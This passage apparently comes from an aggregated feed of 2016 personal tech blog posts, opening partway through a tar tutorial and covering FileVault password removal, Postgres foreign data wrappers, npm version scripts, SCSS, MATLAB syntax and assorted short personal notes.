Unfortunately we now know all tar actions but can’t do much without knowing how to apply them to an object. Let’s dive into objects and we’ll see the modifiers later.

Objects

tar has a very limited set of objects: archives. Each tar command operates on one archive, that is given by f (for “file”) followed by its path.

Files added or extracted from archives are simply given as extra arguments to these commands without needing any special word.

We’re now ready to write our first meaningful sentences.

“Hey tar, please create an archive file foo.tar with file1 and file2” is written as tar cf foo.tar file1 file2.

“Extract archive file foo.tar” is written as tar xf foo.tar. “List archive file foo.tar” is written as tar tf foo.tar. You get the idea.

Note that actions like “extract” or “list” accept additional arguments for the file patterns you want to extract/list. Say you have a big archive from which you only want to extract one important.txt file. Just give this information to tar and it’ll kindly extract it for you:

tar xf big-archive.tar important.txt

You might wonder what is this “file” word for if we always need it. Well, we can remove it. But if we do so, our tar command doesn’t have any object left, so it’ll look at something else: STDIN or STDOUT.

Actions that read archives operate on STDIN if you don’t give them a file object:

cat big-archive.tar | tar x important.txt

You can also be explicit by giving - to f:

cat big-archive.tar | tar xf - important.txt

The “create” action will output the archive on STDOUT if you don’t give it a name (or use f -). You still need to give it the name of the files to put in that archive:

tar c file1 file2 > archive.tar
# Same, but more explicit
tar cf - file1 file2 > archive.tar

Note that you can’t extract an archive to STDOUT without a modifier. tar operates on files, not on data streams. By default it doesn’t compress its content so creating a tar archive for one file doesn’t make much sense.

Now that we know how to write basic sentences, let’s add some modifiers to them.

Modifiers

In my experience the most used modifiers are v and z. The first one is the “verbose” flag and makes tar more chatty. When creating or extracting an archive it’ll print each file’s name as it’s (un)archiving it. When listing an archive it’ll print more info about each file. Compare both outputs below:

$ tar tf archive.tar
file1
file2

$ tar tvf archive.tar
-rw-r--r--  0 baptiste wheel   31425 18 sep 14:51 file1
-rw-r--r--  0 baptiste wheel   18410 18 sep 14:51 file2

The v modifier can be combined with any other one mentioned below.

z will tell tar to use Gzip to (de)compress the archive. Nowadays tar-ing with no compression is rarely used, and Gzip is ubiquitous. Just add z to your modifiers and tar will create compressed archive and extract them. The convention is to use .tar.gz or .tgz for such archives:

tar czf archive.tar.gz file1 file2
# Later…
tar xzf archive.tar.gz

Other common modifiers include j that works exactly like z but (de)compress using Bzip2 instead of Gzip. Such archives usually end with .tar.bz2 or .tbz2. It’s not named b or B because those were already taken when this modifier was introduced.

Similarly to j one can use its capital friend, J. This one compresses using xz instead of the last Gzip or Bzip2. These archives use the extensions .tar.xz or .txz.

Note you can also (de)compress archives by yourself if you don’t remember these modifiers:

tar cf myarchive.tar file1 file2
gzip myarchive.tar
# Later…
gunzip myarchive.tar
tar xf myarchive.tar

There is a dozen of other modifiers you can find in the manpage, but let’s mention two more: O and k. You may remember from the first section that I wrote you can’t extract an archive to STDOUT without a modifier. Well, that modifier is called O:

tar xOf myarchive.tar

Using O when extracting will print the content of the archive on STDOUT. This is the same output as you would get by calling cat on all the files in it.

The last modifier I wanted to mention is k, which tells tar not to override existing files when extracting an archive. That is, if you already have a file called important.txt in your directory and you un-tar an archive using the k modifier, you can be sure it won’t override your existing important.txt file.

I hope this post helped you have a better understanding of tar commands, and how they’re not that complicated. I put a few (valid) commands below, just so you can see if you understand what’s they’re doing:

tar xf foo.tar
tar cvzf bar.tar a b c
tar tvf foo.tar important.txt
tar cz file1 file2 > somefile
tar xzOf somefile
tar cJf hey.txz you andyou
tar xkjvf onemore.tbz2

Thoughts 1

Separate Concerns — Fri, 16 Sep 2016 20:00:00 GMT

Thoughts

I have not found the motivation to write here for a while, so I will be trying something new. This is the first of a series of posts which will be composed of a few smaller unrelated snippets, mostly things I would usually post in a smaller form on Twitter. They will relate to anything I will have found interesting recently. Some will be practical and some will just be reflections about a given topic.

MSYS2

If, like me, you are mostly a Linux user but sometimes have to work on a Windows machine, have a look at MSYS2. It allows you to quickly get a decent environment set up, with Bash and a package manager, (pacman), which you can use to install things like Git.

Sailfish

I have had my Jolla C for two months now. I have not spent as much time as I would like playing with it, but so far I am pretty happy with Sailfish. Like WebOS, it relies heavily on gestures, which makes most of the features of the phone usable with the thumb of a single hand. There are not many applications in the store so far but the default applications are good in general and most Android applications work well, I could run Lima on it without any problem for instance.

From a programmer’s point of view, it is all I hoped for. I went from zero to Hello World on the device in less than an hour. Coding happens in QT Creator and the UI of the application is described with QML. The SDK ships with an emulator that runs in VirtualBox, but also with a second virtual machine which is used to compile code, which means you don’t have to install a cross-compiler on your local machine. Applications, which are technically RPM packages, can be deployed to hardware devices via USB or SSH over WiFi.

It also has to be noted that the native terminal application is very good, much better than anything I saw on Android. A SSH client is included so it can occasionally be used to log into a server.

The main reason I have not made that device my main phone yet is that its battery life is much worse than that of my Android phone, but hopefully that is something that can be solved.

The fractal dimension of software

I stumbled upon an insightful tweet about software development time estimation. The larger the tasks we try to estimate, the more wrong we will be. Maybe an estimate as a single number representing time is not enough; maybe we should also try to figure out the fractal dimension of the job to be done.

Distributed systems are a UX problem

Everyday I grow more convinced that this is true. Not only of failure conditions, but even more so of things like reconciliation strategies in case of causally concurrent events, for instance how to represent data with CRDTs.

It is a problem, because people doing distributed systems often either do not want to do UX, do not have the competence to do it, or just do not have the permission. We tend to be at the bottom of the stack, and some people think it would be a disaster to let us work on anything user-facing. On the other hand, most people actively doing UX do not understand or care for distributed systems issues.

The result of this is that, if we design without taking technical constraints into account, we end up with systems that cannot be implemented without relying on central authority. Add to that the fact that it is almost always much easier to implement something in a centralized way, and you have one reason why the Cloud is winning and distributed alternatives to popular services never seem to take off.

Palm

I stumbled upon two fantastic documents related to Palm recently. The first is a series of blog posts called A History of Palm. Very interesting, even though I disagree with the conclusion of the fifth post. What killed the Pre line at HP was not that WebOS did not take off; they never let it a chance to. I have been using a Pre 3 for a long time (I had pre-ordered it so I was one of the lucky few to have it in France) and it was a fantastic device, extremely influential on future evolutions of both iOS and Android (after all, the interface was the brainchild of Mathias Duarte). What ended Palm’s legacy was the eviction of Mark Hurd and his replacement with Léo Apotheker, who hates hardware. Probably one of the worst mistakes the HP board ever made.

The second document is the Zen of Palm, a design guide for Palm OS from 2003 which is still pretty relevant today in some ways.

Is preemption the root of all evil?

Two decades years ago cooperative scheduling was more frequent than preemptive scheduling. Windows 3.1 was completely cooperatively scheduled, which means that all applications had to yield to the system scheduler, or they would block the whole system. In Mac OS 9, the threading API was cooperative as well within a process, even though different applications would be scheduled preemptively by the kernel.

Modern OSs do not make much distinction between a thread and a process anymore, threads are basically processes which share memory, and they are scheduled preemptively. I have come to think that this design results in code of lower quality, and which is harder to reason about. Of course, it is still possible to use event loops or programming languages which do their own preemptive scheduling (like Lua)…

Open Wound v2

mbutler — Fri, 16 Sep 2016 16:04:03 GMT

https://github.com/mbutler/openwound A (re)writing tool that uses analyzed parts-of-speech for structure and word vectors to find similar replacement words. Openwound is a (re)writing tool named after the famous William S. Burroughs quote about cut-up writing being divination. “When you cut into the present the future leaks out.” This project started in 2002 with the publication of […]

Remove OS X Disk Password

Caius Theory — Fri, 16 Sep 2016 13:27:00 GMT

I recently reinstalled a laptop and in doing so setup full disk encryption in a slightly strange fashion. The basic flow I followed was:

Boot into Recovery mode (hold ⌘-R at boot)
Erase the internal HD as HFS+ (Journaled, Encrypted) and set a disk password
Install OS X onto the internal disk
During setup, use Migration Assistant to copy clone containing previous install data from backup disk

This worked great in the end, once I’d recompiling various utilities I had installed. (Downside of moving from one CPU arch to another - can’t just copy all compiled binaries over.)

However, I failed at step 2 above and entered “password” as my disk password since it was only intended to be temporary. Usually OS X’s full disk encryption (FileVault 2) allows the machine users to unlock the disk, and not a standalone password. Due to the slightly odd way I setup the machine, I had the option of either using the disk password or my user account’s password.

Having hunted around trying to find how to change or remove this disk password and leave only my users password, I finally stumbled across the magic incantations in an apple discussion thread asking How to disable “Disk Password” on boot?.

The magic incantations are as follows:

List all the passwords that can currently unlock the drive

Make sure there is a second password listed or removing the disk password will lock you out of the disk.

 $ sudo fdesetup list -extended
ESCROW UUID TYPE USER
28376DDE-B6E1-48BE-A06F-4212067581D6 Disk Passphrase User
4DBF8CEF-40F7-4F00-902F-A47AA643C656 OS User caius

Note the UUID of the “Disk Passphrase” entry, and remove that from the list
```
 sudo fdesetup remove -uuid 28376DDE-B6E1-48BE-A06F-4212067581D6
```

List the passwords again to make sure the Disk Passphrase entry was removed

 $ sudo fdesetup list -extended
ESCROW UUID TYPE USER
4DBF8CEF-40F7-4F00-902F-A47AA643C656 OS User caius

Hey presto, only your user is left being able to unlock the disk.

Moments between the minutes

Serge Nevsky — Fri, 16 Sep 2016 03:00:00 GMT

I learned to play guitar in the moments between the minutes.

GLaDOS-like sound pack for Taranis

Allan's Blog — Thu, 15 Sep 2016 09:29:13 GMT

Here's a soundpack for the FrSky Taranis, based on the original, but run through Melodyne so it sounds like GLaDOS from Portal: https://acoby.com/fpv/gladosStyleTaranisSounds.zip

FGMK is my first attempt at a game maker

Erico Notes — Thu, 15 Sep 2016 05:23:21 GMT

Since the post A tilemap in PyQt for a bigger game Project I have been working in something that at the time I wasn't quite sure of what it was. And now I think I am going somewhere. I present you my game maker, named FGMK.

At the time of this writing, I am at version 0.5.3, I have a huge backlog of things I want to implement: scripting, plugins, monster design, hero design, skill design, scripted battles, ...

So what's this? Well, a long time ago, I participated in the 2012 edition of the Global Game Jam. At the time, the game we made (with Unity) could be played in the browser, but required plugins. So the person that wanted to play your game had to install the Unity plugin. The Unity plugin was available only to Windows, so not only you had to convince the user to install it, he had to use the specific system to play the game.

At the same Global Game Jam, a guy made a game with HTML and Javascript. The game was great, and you only needed a browser to play the game. And no plugins. I was impressed. Small code, that worked well anywhere. And the code at the time was just there, no license. I talked to the single developer of the game, asked if I could take the code, look at it, and build something VERY similar. This guy is Lino and the game he made was Redo. He said "sure, code is fine, the assets I have to ask to not to use because I am using in a game I am publishing".

So at first I made a simple python visualizer for the maps in Redo (this was around August 2014). And then I decided, ok, time to make an engine I can freely script. The engine evolved, I decided to try to build a map editor... And after lots of commits, and lots of refactoring to have something that you could run in most operating systems (Win, OSX, Linux)... Now I have something I feel it's ok to be kind of proud.

So FGMK was to be an acronym of Fan Game MaKer. It's also easy to type in the shell, because I typed this string a lot.

The Github page is github.com/ericoporto/fgmk . If you have Python3 (and pip), you can install using:

pip3 install fgmk

And that's it. When I reach a nice 1.0.0 I will release real packages for the three main operating systems.

If you are only curious about the engine, the code is in github.com/ericoporto/fgmkJsEngine and there is a demo here. The demo should run in anything that has a keyboard or a touchscreen. And you only need a browser.

Fuzzy search Emacs compile history

xenodium.com @alvaro — Thu, 15 Sep 2016 03:00:00 GMT

I wrote about searching bash history with Emacs Helm some time ago. Since then, I've learned about completing-read to generically handle simple Emacs completions (very handy for supporting Helm, Ivy, and Ido completions).

Here's a simple way to combine completing-read and the compile command to enable fuzzy searching your compile history:

(defun ar/compile-completing ()
  "Compile with completing options."
  (interactive)
  (let ((compile-command (completing-read "Compile command: " compile-history)))
    (compile compile-command)
    (add-to-list 'compile-history compile-command)))

Kindle 2

Serge Nevsky — Thu, 15 Sep 2016 03:00:00 GMT

The Kindle 2 is the perfect product. I bought mine almost ten years ago. Today, that same exact unit goes with me everywhere I go. It isn’t annoying, it’s simple and it’s perfect.

So you want to change the world? Change how you communicate

Yasha Solutions — Thu, 15 Sep 2016 03:00:00 GMT

Communication is at the heart of human relationships. Human relationships is what allow us to build a common future. If you want to change this common future you need to learn how to communicate about the future you want and why it should matter to others humans. If they know why it matters, they will be more encline to listen how to get there. Then, you will be able to tell them what to do to make this a reality.

September 2016 Projects

Venam's Blog — Patrick Louis (Lebanon) — Wed, 14 Sep 2016 20:00:00 GMT

Hello fellow readers, In this post I’ll list some of the projects and experiments I worked on or finished since last time, or planing to work on in the next few weeks.

Primitive

Blogs on Michail Rybakov — Tue, 13 Sep 2016 17:07:46 GMT

Primitive is a command line tool to turn pictures into abstract images.

I played around with it using the frames of this video of a dog in the russian forest:

Primitive time!

How do we get here?

Russia is

Blogs on Michail Rybakov — Tue, 13 Sep 2016 17:07:46 GMT

..a childhood spent playing in ruins.

To the girl sitting by the window

june.kim — Mon, 12 Sep 2016 03:00:00 GMT

The Immutable Laws of Marketing

Craig Pardey — Mon, 12 Sep 2016 03:00:00 GMT

This is a quick cheat sheet taken from a great little book called “The 22 Immutable Laws of Marketing” by Al Ries & Jack Trout. I highly recommend this book for anyone interested in marketing … even developers!

The Law of Leadership
It’s better to be first than it is to be better.

The Law of the Category
If you can’t be first in a category, set up a new category you can be first in.

Blog re-design 2016

Databases & Life — Mon, 12 Sep 2016 03:00:00 GMT

Today I've released a new version of my blog and homepage. Unless you're reading this a long time in the future and this design has been superseded by a new design, you're looking at it :)

It’s been a long time since I updated my blog design last. The previous design was a modification of the standard WordPress theme from January 2008. It wasn’t responsive, and was primarily based around the standard blog format of a “newest first” list of articles. What would a personal homepage need to look like in 2016?

A tour of Postgres' Foreign Data Wrappers

CRAIG KERSTIENS — Sun, 11 Sep 2016 23:55:56 GMT

SQL can be a powerful language for reporting. Whether you’re just exploring some data, or generating reports that show month over month revenue growth it’s the lingua franca for data analysis. But, your data isn’t always in a SQL database, even then if you’re using Postgres you can still likely use SQL to analyze, query, even joing with that data. Foreign data wrappers have been around for years in Postgres, but are continuing to mature and be a great option for joining disparate systems.

Overview of foreign data wrappers

If you’re unfamiliar, foreign data wrappers, or FDW, allow you to connect from within Postgres to a remote system. Then you can query them from directly within Postgres. While there is an official Postgres FDW that ships with Postgres itself, that allows you to connect from one Postgres DB to another, there’s also a broad community of others.

At the core of it Postgres provides certain APIs under the covers which each FDW extension can implement. This can include the ability to map SQL to whatever makes sense for a given system, push down various operators like where clauses, and as of Postgres 9.3 can even write data.

To setup a FDW you first would install the extension, then provide the connection to the remote system, setup your schema/tables, and then you’re off to the races–or well ready to query. If you’ve got more than 2-3 databases or systems in your infrastructure, you’ll often benefit from FDWs as opposed to introducing a heavyweight ETL pipeline. Don’t mistake FDWs as the most performant method for joining data, but they are often the developer time efficient means of joining these data sets.

Let’s look at just a few of the more popular and interesting ones.

Postgres FDW

The Postgres one is the easiest to get started with. First you’ll just enable it with CREATE EXTENSION, then you’ll setup your remote server:

CREATE EXTENSION postgres_fdw;
CREATE SERVER core_db
FOREIGN DATA WRAPPER postgres_fdw
OPTIONS (host 'foo', dbname 'core_db', port '5432');

Then you’ll create the user that has access to that database:

CREATE USER MAPPING FOR bi SERVER core OPTIONS (user 'bi', password 'secret');

Finally, create your foreign table:

CREATE FOREIGN TABLE core_users (
id integer NOT NULL,
username varchar(255),
password varchar(255),
last_login timestamptz
)
SERVER core;

Now you’ll see a new table in the database you created this in called core_users. You can query this table just like you’d expect:

SELECT *
FROM core_users
WHERE last_login >= now() - '1 day'::interval;

You can also join against local tables, such as getting all the invoices for users that have logged in within the last month:

SELECT *
FROM invoices, core_users
WHERE core_users.last_login >= now() - '1 month::interval'
AND invoices.user_id = core_users.id

Hopefully this is all straight forward enough, but let’s also take a quick look at some of the other interesting ones:

MySQL FDW

For MySQL you’ll also have to download it and install it as well since it doesn’t ship directly with Postgres. This should be fairly straight forward:

$ export PATH=/usr/local/pgsql/bin/:$PATH
$ export PATH=/usr/local/mysql/bin/:$PATH
$ make USE_PGXS=1
$ make USE_PGXS=1 install

Now that you’ve built it you’d follow a very similar path to setting it up as we did for Postgres:

CREATE EXTENSION mysql_fdw;
CREATE SERVER mysql_server
FOREIGN DATA WRAPPER mysql_fdw
OPTIONS (host '127.0.0.1', port '3306');
CREATE USER MAPPING FOR postgres
SERVER mysql_server
OPTIONS (username 'foo', password 'bar');
CREATE FOREIGN TABLE core_users (
id integer NOT NULL,
username varchar(255),
password varchar(255),
last_login timestamptz
)
SERVER mysql_server;

But MySQL while different than Postgres is also more similar in SQL support than say a more exotic NoSQL store. How well do they work as a foreign data wrapper? Let’s look at our next one:

MongoDB

First you’ll go through much of the same setup as you did for MySQL. The one major difference though is in the final step to setup the table. Since a table doesn’t quite map in the same way with Mongo you have the ability to set two items: 1. the database and 2. the collection name.

CREATE FOREIGN TABLE core_users(
_id NAME,
user_id int,
user_username text,
user_last_login timestamptz)
SERVER mongo_server
OPTIONS (database 'db', collection 'users');

With this you can do some basic level of filtering as well:

SELECT *
FROM core_users
WHERE user_last_login >= now() - '1 day'::interval;

You can also write and delete data as well now just using SQL:

DELETE FROM core_users
WHERE user_id = 100;

Of course just putting SQL on top of Mongo doesn’t mean you get all the flexibility of analysis that you’d have directly within Postgres, this does go a long way towards allowing you to analyze data that lives across two different systems.

Many more

A few years ago there were some key ones which already made FDWs useful. Now there’s a rich list covering probably every system you could want. Whether it’s Redis, a simple CSV one, or something newer like MonetDB chances are you can find an FDW for the system you need that makes your life easier.

If you’re looking for a deeper resource on Postgres I recommend the book The Art of PostgreSQL. It is by a personal friend that has aimed to create the definitive guide to Postgres, from a developer perspective. If you use code CRAIG15 you’ll receive 15% off as well.

Monterey K104 restoration

skouf.com — Sat, 10 Sep 2016 15:12:23 GMT

A detailed step-by-step of restoring a keyboard older than I am. Not for the faint-of-keyboard.

Laravel Homestead Performance mit NFS verbessern (NFS aktivieren)

Philipp Zentner — Sat, 10 Sep 2016 13:01:53 GMT

Wer viel mit Laravel Homestead arbeitet wird hier und da mit Performance Problemen zu kämpfen haben. Alleine die Erhöhung der zugewiesenen CPU-Kerne und des RAMs in der Homestead.yaml reichen da nicht aus. Besonders langsam ist die Dateien-Synchronisation. Vor allem in der Frontend-Entwicklung, wo Live-Synchronisation eine große Rolle spielt, ist es wichtig, dass Dateiänderungen sofort übernommen werden.

Das Problem liegt bei VirtualBox und ihrem langsamen "shared folder system". Die Lösung heißt "Network File System" (NFS), ein Protokoll für verteilte Dateisysteme und ist schnell zu installieren.
Vagrant bietet hier eine gute Dokumentation zu NFS, welches bei heutigen Betriebsystemen leider nicht out-of-the-box zur Verfügung steht.
Die Installation gestaltet sich in drei einfachen Schritten.

2016-09-10

ho.dges.online — Sat, 10 Sep 2016 03:00:00 GMT

Making a Twitter bot that looks for hashes

Linux Engineer's random thoughts — Fri, 09 Sep 2016 19:00:00 GMT

This is a followup to What do you find when you search Twitter for hashes ?

Why ?

I'm not sure I remember how it started.

It all started four years ago. Jon Oberheide was still an independent security researcher and not yet CTO of a successful product company. He posted some …

What do you find when you search Twitter for hashes ?

Linux Engineer's random thoughts — Fri, 09 Sep 2016 18:00:00 GMT

This image:

This is what I found with hashbot, a twitter bot that looks for hashes.

What is this image ?

Posted with the hash "2f404a288d1b564fadee944827a39a14" by japanese accounts (of which @furueru_zekkei used to be the top poster, now suspended).

After a bit of research on google images and more, I …

To all Companies Currently Recruiting

Ben E. C. Boyter — Fri, 09 Sep 2016 01:29:19 GMT

I am writing this on behalf of all developers/engineers out there. Please stop with the take home coding challenge questions. Really. Just stop it. They are a lazy and frankly an unprofessional way of sorting the wheat from the chaff. Before closing your browser in disgust hear me out on this one and hopefully I can convince you of the error of your ways.

There has become an alarming trend these days of companies during the hiring process to issue lengthy coding challenges in order to prove that the individual they are hiring knows their stuff. I totally understand why you might be doing this but frankly its flawed. Lets go through several reasons why.

Implementing PhotoShop font sizes and tracking in CSS, points to pixels conversion

Muffin Man — Thu, 08 Sep 2016 03:00:00 GMT

We've all been there - trying to get right font sizes from PhotoShop to CSS. Designers usually work with points, which are used in the print, but not common on the web. They also use term tracking a lot, which is actually only a letter spacing with different units.

You can recalculate everything by hand and try to keep track of it. But we can use the goodies of SCSS to make that process a bit easier.

Point to pixel ratio is 1pt = 1.333333px. We'll create SASS function to do conversion for us.

And PhotoShop tracking works relative to the font size. One point of tracking is 1/1000 of the font size. For this one we'll create a mixin.

// Converts pt to px
@function pt-to-px($size-in-points){
    @return #{ round($size-in-points * 1.333333) }px;
}

// Adds letter spacing to match photoshop tracking
@mixin tracking($ps-tracking){
    letter-spacing: #{ $ps-tracking / 1000 }em;
}

// Usage
.Component {
    @include tracking(-5);
    font-size: pt-to-px(20);
    line-height: pt-to-px(30);
}

This will generate following CSS:

.Component {
    letter-spacing: -.005em;
    font-size: 15px;
    line-height: 23px;
}

Note that function and mixin can do pretty much the same job. But it makes more sense to use mixins when including complete styles, and functions to return values. So conversion makes sense to be a function, as we can use it for font size, line height or anything else. Conversion of tracking to letter spacing is including a specific style, so keep it in a mixin.

Links - September 7th, 2016

Avy Faingezicht — Wed, 07 Sep 2016 03:00:00 GMT

MATLAB Syntax

bastibe.de — Wed, 07 Sep 2016 03:00:00 GMT

In a recent project, I tried to parse MATLAB code. During this trying exercise, I stumbled upon a few... unique design decisions of the MATLAB language:

Use of apostrophes (`'`)

Apostrophes can mean one of two things: If applied as a unary postfix operator, it means transpose. If used as a unary prefix operator, it marks the start of a string. While not a big problem for human readers, this makes code surprisingly hard to parse. The interesting bit about this, though, is the fact that there would have been a much easier way to do this: Why not use double quotation marks for strings, and apostrophes for transpose? The double quotation mark is never used in MATLAB, so this would have been a very easy choice.

Use of parens (`()`)

If Parens follow a variable name, they can mean one of two things: If the variable is a function, the parens denote a function call. If the variable is anything else, this is an indexing operation. This can actually be very confusing to readers, since it makes it entirely unclear what kind of operation foo(5) will execute without knowledge about foo (which might not be available until runtime). Again, this could have been easily solved by using brackets ([]) for indexing, and parens (()) for function calls.

Use of braces (`{}`) and cell arrays

Cell arrays are multi-dimensional, ordered, heterogeneous collections of things. But in contrast to every other collection (structs, objects, maps, tables, matrices), they are not indexed using parens, but braces. Why? I don't know. In fact, you can index cell arrays using parens, but this only yields a new cell array with only one value. Why would this ever be useful? I have no explanation. This constantly leads to errors, and for the life of me I can not think of a reason for this behavior.

Use of line breaks

In MATLAB, your line can end on one of three characters: A newline character, a semicolon (;), and a comma (,). As we all know, the semicolon suppresses program output, while the newline character does not. The comma ends the logical line, but does not suppress program output. This is a relatively little-known feature, so I thought it would be useful to share it. Except, the meaning of ; and , changes in literals (like [1, 2; 3, 4] or {'a', 'b'; 3, 4}). Here, commas separate values on the same row and are optional, and semicolons end the current row. Interestingly, literals also change the meaning of the newline character: Inside a literal, a newline acts just like a semicolon, overrides a preceding comma, and you don't have to use ellipsis (...) for line continuations.

Syntax rules for commands

Commands are function calls without the parenthesis, like help disp, which is syntactically equivalent to help('disp'). You see, if you just specify a function name (can't be a compound expression or a function handle), and don't use parenthesis, all following words will be interpreted as strings, and passed to the function. This is actually kind of a neat feature. However, how do you differentiate between variable_name + 5 and help + 5? The answer is: Commands are actually a bit more complex. A command starts with a function name, followed by a space, which is not followed by an operator and a space. Thus, help ~~5 ~~ 4 is a command, while help + 5 + 4 is an addition. Tricky!

The more-than-one-value value

If you want to save more than one value in a variable, you can use a collection (structs, matrices, maps, tables, cell arrays). In addition though, MATLAB knows another way of handling more than one values at once: The thing you get when you index a cell array with {:} or assign a function call with more than one result. In that case, you get something that is assignable to several variables, but that is not itself a collection. Just another quirk of MATLAB's indexing logic. However, you can capture these values into matrices or cell arrays using brackets or braces, like this: {x{:}} or [x{:}]. Note that this also works in assignments in a confusing way: [z{:}] = x{:} (if both x and z have the same length). Incidentally, this is often a neat way of converting between different kinds of collections (but utterly unreadable, because type information is hopelessly lost).

Wordpress in Docker on a Raspberry Pi

Justin Garrison's Homepage — Wed, 07 Sep 2016 03:00:00 GMT

Docker has been available on the Raspberry Pi for a while but 1.12 makes installation much easier.

Guess the city

infrequent oscillations — Tue, 06 Sep 2016 11:23:06 GMT

In which the future is predicted.

Up in the Redwoods

Avy Faingezicht — Tue, 06 Sep 2016 03:00:00 GMT

For my birthday, Hannah bought us a tent and a couple of sleeping bags. This past weekend we got to use them for the first time at Humboldt Redwoods State Park. It was a lot of fun. In honor of the occasion, and because I am slowly contracting gear acquisition syndrome, I got myself a new 50mm f/1.4. The blur quality is amazing, but I am still not used to the focal length. Below is a mix of photos taken with that one, and the 24mm.

Graphene

Matt Keeter — Tue, 06 Sep 2016 03:00:00 GMT

Hierarchical computation graphs in Racket

Tip: customizing npm version

Qubyte Codes — Mon, 05 Sep 2016 23:00:00 GMT

The npm CLI has a bunch of useful utilities for managing projects. The obvious one is npm test but there are others. I particularly like working with npm version (the subject of this tip).

Without customization, npm version checks that the working git directory is clean, sets the new version in the package file, and then commits it and tags the repository with the same new version.

That's great, but what if you have a bower.json file, or some other task which needs the new version before the tag is made? npm version updates the version in package.json and it misses the version in the bower.json file. The bower.json version is just an example, but one that illustrates this point.

This is where customizing npm version comes in. Continuing the bower.json example, we can write a script which performs the version update, and uses git add on it. In the package.json file:

{
  "name": "my lovely app",
  "version": 1.0.0,
  "scripts": {
    "version": "node update-bower-version.js && git add bower.json"
  }
}

To reiterate, npm version will update the version in the package file, run the version script above, and then commit the changes and tag the result. That means that the script needs to do something to the bower.json file, then git add the result.

// update-bower-version.js

var fs = require('fs');
var bowerJsonPath = require.resolve('./bower');
var bowerJson = require(bowerJsonPath);

bowerJson.version = process.env.npm_package_version; // npm injects this

fs.writeFileSync(bowerJsonPath, JSON.stringify(bowerJson, null, 2));

This script is going to be run by npm from the package.json file, which handily injects some environment variables. One of these variables is the version in the package.json file. This is great because it means that no matter what the new version will be we have access to it in this script.

Since the bower.json file contains JSON it can be read and parsed by require in one step. The version is updated, and the result stringified (I'm using two space indentation here) and written back to the bower file.

With a script in place, you can use npm version without further thought. for example, a major version bump looks like:

npm version major

Enjoy!

Best Regular Expression Dev Tools

Pete's Points — Mon, 05 Sep 2016 19:23:13 GMT

Just a quick post to point out some fantastic web applications to help you craft regular expressions in your text processing adventures. These tools make it vastly easier to develop a solid understanding of regular expressions compared to when I learned them by studying the classic O'Reilly book Mastering Regular Expressions

First Place: RegEx 101

RegEx 101 is the overall best tool. The explanation block clearly explains how each part of your regular expression is interpretted. The syntax highlighting is great, and the UI doesn't have any confusing parts about whether you need the surrounding slashes and so forth.

Honorable Mention

Olaf Neumann Regex-Generator is a brilliant tool that starts with your input text, autosuggests common patterns, and guides you through building your regex.

RegExplained has a great railroad diagram visualization of your regular expression.

regexr is also handy although not as polished as RegEx 101.

Regex Tester has a nice railroad diagram and color coding.

debuggex Neat but no one wants to log into a utility site like this (needed to add unit tests)

Simple Regex is kind of like literate programming for regex. It's a different language you write with clearer expressions like any of (digit, letter, one of ".-") once or more and it compiles to regex is several mainstream programming languages.

Happy Matching!

Get out there and be glad you may be able to get away without staring at the pages of this book for hours on end.

Kubo and the Two Strings

🦉 olshansky 🦁 — Mon, 05 Sep 2016 13:47:28 GMT

Olshansky's review of Kubo and the Two Strings

Working over SSH

blog.harterrt.com — Mon, 05 Sep 2016 10:00:00 GMT

Introduction
Tools
- tmux
  - Session Persistence
  - Multiplexing
- Homeshick

Introduction

Working over SSH can be impossibly frustrating if you're not using the right tools. I promised my teammates a write-up how I work over ssh. Using these tools will make it significantly easier / more fun to work with a remote linux system …

Jumping on the Emacs 25 bandwagon

xenodium.com @alvaro — Mon, 05 Sep 2016 03:00:00 GMT

Can't miss out on all the new fun. Emacs 25 RC2 is out and lots of people already using it. Since I'm mostly on MacOS these days, installing via homebrew with –devel, gets you RC2:

brew install emacs --devel --with-cocoa --with-gnutls --with-librsvg --with-imagemagick

The only hiccup so far's been org mode failing to export, which was fixed by re-installing it (follow this thread).

Links - September 5th, 2016

Avy Faingezicht — Mon, 05 Sep 2016 03:00:00 GMT

Amandah Wood: Founder of Ways We Work

Sam Solomon — Mon, 05 Sep 2016 03:00:00 GMT

Amandah Wood is a writer, editor and founder of Ways We Work, a publication that dives into people doing work they love.

Conservatism

ho.dges.online — Mon, 05 Sep 2016 03:00:00 GMT

Conservatism: the feeling that somehow, somewhere someone you think is inferior is being treated as your equal.

Halt and Catch Fire: Season 1

🦉 olshansky 🦁 — Sat, 03 Sep 2016 16:18:18 GMT

Olshansky's review of Halt and Catch Fire: Season 1

Monitoring Linux Server with an Arduino

Shyam Jos — Sat, 03 Sep 2016 03:00:00 GMT

As usual I was so bored and wanted to build something cool on this weekend, So I ended up building an Arduino based Linux server monitoring solution for monitoring my Linux VPS.

The idea was Simple, use an Arduino Ethernet module to make a get request to the php script hosted on the server and parse the response data (free -m,df -h,uptime) and display it on the LCD screen every one minute.

And here is the demo of Arduino Linux monitor in action

Demo #

If you are interested in this project you can download the Arduino sketch from my github page.

Todo List #

Buzzer Notification upon increase in memory/cpu load..etc
Use json instead of php page

How to sort a Set in Java example

Studiofreya SSG Site — Fri, 02 Sep 2016 23:08:15 GMT

There are different versions of Java available with different ways to sort collections of objects. We will be showing examples of how to sort a set of objects or strings alphabetically in Java 8, Java 7 and older versions using comparator.

For this example we will take a Person object and put them all in a set. Each Person have a name and we will sort our collection of Person object alphabetically. It means that we need to implement a comparator which compares Strings.

Importing .obj files, ugly polygons

TOGoS's Project Log — Fri, 02 Sep 2016 21:13:37 GMT

Always use button for clickable elements

Muffin Man — Fri, 02 Sep 2016 03:00:00 GMT

Always try to use <button> when element is clickable, but it is not a link. Avoid <a>, <span>, <div> and other elements.

Note that display: flex works differently on buttons in different browsers, but we have an easy fix for that.

Why? #

You will get multiple benefits - user can "tab" to it, and to activate it by pressing enter (that will trigger click event). There is no need to preventDefault like when you are using <a>. User can't open it in the new tab/window, using right or middle click. Screen readers recognize it out of the box.

Long story short - it is way more accessible. And when you think about it, it is actually really logical thing to do. Buttons are made to be clickable :)

Gotchas #

Buttons in forms #

If you need your clickable button to be in a form, remember to put type='button' to it, as default button type is submit, and it will submit your form on click. Again, you could use preventDefault, but I think this is a way cleaner approach.

Button flex maddnes #

For some reason display: flex on buttons is behaving really different across browsers. It is crazy! If you don't believe me, just check the examples below.

The easiest fix is to add another div in (to wrap button content), and apply display: flex to it. From there on, you should be fine. I made a CodePen with an example. On the left side, you can see a button with flex applied directly to it, and on the right, a button with inner div and flex applied to it.

I overcame my laziness and made a bunch of cross browser screenshots. Original CodePen is included at the end.

At the moment, it seems only Chrome gets it right.

Chrome #

Firefox #

Safari 8 #

Safari 9 #

IE10 #

IE11 #

CodePen #

